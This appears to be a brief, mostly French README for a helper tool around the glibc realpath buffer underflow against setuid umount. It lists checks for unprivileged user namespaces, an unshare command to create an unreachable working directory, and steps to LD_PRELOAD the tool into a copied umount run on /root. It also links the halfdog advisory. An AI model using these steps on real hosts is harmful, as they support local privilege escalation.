
Tools for get offsets and adding patch for support i386
$ cat /proc/sys/kernel/unprivileged_userns_clone
Sortie :
1
Si le fichier "/proc/sys/kernel/unprivileged_userns_clone" n'existe pas :
$ unshare -mU /bin/sh -c "sleep 5" & /bin/sh -c "sleep 1; cd /proc/$!/cwd; realpath .; kill -9 $!"
La sortie doit contenir la chaîne "(unreachable)" avant '/' :
[1] 12345
(unreachable)/home/user
Les options sont passées via des variables d'environnement :
TRACE_DEBUG=1 - Valeur pour afficher les informations de débogage (Par défaut : 0)
STACK_SIZE=100 - Taille des données de sortie de la pile (Par défaut : 100)
Comment exécuter :
$ make
$ cp /bin/umount .
$ LD_PRELOAD="$(realpath tool.so)" TRACE_DEBUG=1 STACK_SIZE=100 ./umount /root
https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/